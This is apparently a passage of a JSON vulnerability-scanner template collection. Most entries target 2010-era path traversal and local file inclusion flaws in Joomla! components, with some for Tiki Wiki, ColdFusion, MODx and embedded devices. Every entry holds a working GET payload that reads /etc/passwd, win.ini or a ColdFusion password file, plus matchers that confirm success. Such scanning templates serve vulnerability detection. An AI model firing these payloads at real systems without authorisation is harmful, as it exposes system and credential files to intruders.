Disclosure","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/status?full=true"],"matchers-condition":"and","matchers":[{"type":"word","words":["JVM","memory","localhost/"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-2918","info":{"name":"Joomla! Component Visites 1.1 - MosConfig_absolute_path Remote File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/administrator/components/com_joomla-visites/core/include/myMailer.class.php?mosConfig_absolute_path=../../../../../../../../../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1495","info":{"name":"Joomla! Component Matamko 1.01 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_matamko&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-2122","info":{"name":"Joomla! Component simpledownload <=0.9.5 - Arbitrary File Retrieval","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_simpledownload&task=download&fileid=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1304","info":{"name":"Joomla! Component User Status - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_userstatus&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1956","info":{"name":"Joomla! Component Gadget Factory 1.0.0 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_gadgetfactory&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1981","info":{"name":"Joomla! Component Fabrik 2.0 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_fabrik&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-2033","info":{"name":"Joomla! Percha Categories Tree 0.6 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_perchacategoriestree&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-2920","info":{"name":"Joomla! Component Foobla Suggestions 1.5.1.2 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_foobla_suggestions&controller=../../../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-3426","info":{"name":"Joomla! Component Jphone 1.0 Alpha 3 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_jphone&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-2035","info":{"name":"Joomla! Component Percha Gallery 1.6 Beta - Directory Traversal","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_perchagallery&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-0696","info":{"name":"Joomla! Component Jw_allVideos - Arbitrary File Retrieval","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/plugins/content/jw_allvideos/includes/download.php?file=../../../../../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-4977","info":{"name":"Joomla! Component Canteen 1.0 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_canteen&controller=../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1875","info":{"name":"Joomla! Component Property - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_properties&controller=../../../../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1313","info":{"name":"Joomla! Component Saber Cart 1.0.0.12 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_sebercart&view=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1953","info":{"name":"Joomla! Component iNetLanka Multiple Map 1.0 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_multimap&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1658","info":{"name":"Joomla! Component NoticeBoard 1.3 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_noticeboard&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-4239","info":{"name":"Tiki Wiki CMS Groupware 5.2 - Local File Inclusion","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/tiki-jsplugin.php?plugin=x&language=../../../../../../../../../../windows/win.ini"],"matchers":[{"type":"word","part":"body","words":["bit app support","fonts","extensions"],"condition":"and"}]}]},{"id":"CVE-2010-2034","info":{"name":"Joomla! Component Percha Image Attach 1.1 - Directory Traversal","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_perchaimageattach&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1353","info":{"name":"Joomla! Component LoginBox - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_loginbox&view=../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1476","info":{"name":"Joomla! Component AlphaUserPoints 1.5.5 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_alphauserpoints&view=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-0759","info":{"name":"Joomla! Plugin Core Design Scriptegrator - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/plugins/system/cdscriptegrator/libraries/highslide/js/jsloader.php?files[]=/etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1307","info":{"name":"Joomla! Component Magic Updater - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_joomlaupdater&controller=../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1219","info":{"name":"Joomla! Component com_janews - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_janews&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-2128","info":{"name":"Joomla! Component JE Quotation Form 1.0b1 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_jequoteform&view=../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1717","info":{"name":"Joomla! Component iF surfALERT 1.2 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_if_surfalert&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1603","info":{"name":"Joomla! Component ZiMBCore 0.1 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_zimbcore&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1352","info":{"name":"Joomla! Component Juke Box 1.7 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_jukebox&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-0942","info":{"name":"Joomla! Component com_jvideodirect - Directory Traversal","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_jvideodirect&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1535","info":{"name":"Joomla! Component TRAVELbook 1.0.1 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_travelbook&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1302","info":{"name":"Joomla! Component DW Graph - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_dwgraphs&controller=../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1081","info":{"name":"Joomla! Component com_communitypolls 1.5.2 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_communitypolls&controller=../../../../../../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1722","info":{"name":"Joomla! Component Online Market 2.x - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_market&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1312","info":{"name":"Joomla! Component News Portal 1.5.x - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_news_portal&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1474","info":{"name":"Joomla! Component Sweetykeeper 1.5 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_sweetykeeper&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1217","info":{"name":"Joomla! Component & Plugin JE Tooltip 1.0 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_jeformcr&view=../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-2307","info":{"name":"Motorola SBV6120E SURFboard Digital Voice Modem SBV6X2X-1.0.0.5-SCM - Directory Traversal","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1715","info":{"name":"Joomla! Component Online Exam 1.5.0 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_onlineexam&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-3203","info":{"name":"Joomla! Component PicSell 1.0 - Arbitrary File Retrieval","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_picsell&controller=prevsell&task=dwnfree&dflink=../../../configuration.php"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1471","info":{"name":"Joomla! Component Address Book 1.5.0 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_addressbook&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-0943","info":{"name":"Joomla! Component com_jashowcase - Directory Traversal","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_jashowcase&view=jashowcase&controller=../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1653","info":{"name":"Joomla! Component Graphics 1.0.6 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_graphics&controller=../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1306","info":{"name":"Joomla! Component Picasa 2.0 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_joomlapicasa2&controller=../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-0944","info":{"name":"Joomla! Component com_jcollection - Directory Traversal","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_jcollection&controller=../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-2507","info":{"name":"Joomla! Component Picasa2Gallery 1.2.8 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_picasa2gallery&controller=../../../../../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1532","info":{"name":"Joomla! Component PowerMail Pro 1.5.3 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_powermail&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1540","info":{"name":"Joomla! Component com_blog - Directory Traversal","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_myblog&Itemid=1&task=../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-4719","info":{"name":"Joomla! Component JRadio - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_jradio&controller=../../../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1534","info":{"name":"Joomla! Component Shoutbox Pro - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_shoutbox&controller=../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-2682","info":{"name":"Joomla! Component Realtyna Translator 1.0.15 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_realtyna&controller=../../../../../../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-4231","info":{"name":"Camtron CMNC-200 IP Camera - Directory Traversal","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/../../../../../../../../../../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-0157","info":{"name":"Joomla! Component com_biblestudy - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_biblestudy&id=1&view=studieslist&controller=../../../../../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1977","info":{"name":"Joomla! Component J!WHMCS Integrator 1.5.0 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_jwhmcs&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1983","info":{"name":"Joomla! Component redTWITTER 1.0 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_redtwitter&view=../../../../../../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-4282","info":{"name":"phpShowtime 2.0 - Directory Traversal","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/pandora_console/ajax.php?page=../../../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1601","info":{"name":"Joomla! Component JA Comment - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_jacomment&view=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-2861","info":{"name":"Adobe ColdFusion 8.0/8.0.1/9.0/9.0.1 LFI","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/CFIDE/administrator/enter.cfm?locale=../../../../../../../lib/password.properties%00en"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["rdspassword=","encrypted="],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1957","info":{"name":"Joomla! Component Love Factory 1.3.4 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_lovefactory&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1954","info":{"name":"Joomla! Component iNetLanka Multiple root 1.0 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_multiroot&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1982","info":{"name":"Joomla! Component JA Voice 2.0 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_javoice&view=../../../../../../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-2259","info":{"name":"Joomla! Component com_bfsurvey - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_bfsurvey&controller=../../../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1659","info":{"name":"Joomla! Component Ultimate Portfolio 1.0 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_ultimateportfolio&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-4617","info":{"name":"Joomla! Component JotLoader 2.2.1 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_jotloader§ion=../../../../../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1531","info":{"name":"Joomla! Component redSHOP 1.0 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_redshop&view=../../../../../../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-2036","info":{"name":"Joomla! Component Percha Fields Attach 1.0 - Directory Traversal","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_perchafieldsattach&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1602","info":{"name":"Joomla! Component ZiMB Comment 0.8.1 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_zimbcomment&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-2037","info":{"name":"Joomla! Component Percha Downloads Attach 1.1 - Directory Traversal","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_perchadownloadsattach&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1354","info":{"name":"Joomla! Component VJDEO 1.0 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_vjdeo&controller=../../../../../../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-4769","info":{"name":"Joomla! Component Jimtawl 1.0.2 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_jimtawl&Itemid=12&task=../../../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1719","info":{"name":"Joomla! Component MT Fire Eagle 1.2 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_mtfireeagle&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-5278","info":{"name":"MODx manager - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/manager/controllers/default/resource/tvs.php?class_key=../../../../../../../../../../windows/win.ini%00"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["bit app support","fonts","extensions"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1478","info":{"name":"Joomla! Component Jfeedback 1.2 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_jfeedback&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1980","info":{"name":"Joomla! Component Joomla! Flickr 1.0 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_joomlaflickr&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-5028","info":{"name":"Joomla! Component JE Job 1.0 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_jejob&view=../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1533","info":{"name":"Joomla! Component TweetLA 1.0.1 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_tweetla&controller=../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1056","info":{"name":"Joomla! Component com_rokdownloads - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_rokdownloads&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-2857","info":{"name":"Joomla! Component Music Manager - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/component/music/album.html?cid=../../../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1475","info":{"name":"Joomla! Component Preventive And Reservation 1.0.5 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_preventive&controller==../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1955","info":{"name":"Joomla! Component Deluxe Blog Factory 1.1.2 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_blogfactory&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1723","info":{"name":"Joomla! Component iNetLanka Contact Us Draw Root Map 1.1 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_drawroot&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1858","info":{"name":"Joomla! Component SMEStorage - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_smestorage&controller=../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1472","info":{"name":"Joomla! Component Horoscope 1.5.0 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_horoscope&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1308","info":{"name":"Joomla! Component SVMap 1.1.1 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_svmap&controller=../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-5286","info":{"name":"Joomla! Component Jstore - 'Controller' Local File Inclusion","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_jstore&controller=./../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1979","info":{"name":"Joomla! Component Affiliate Datafeeds 880 - Local File 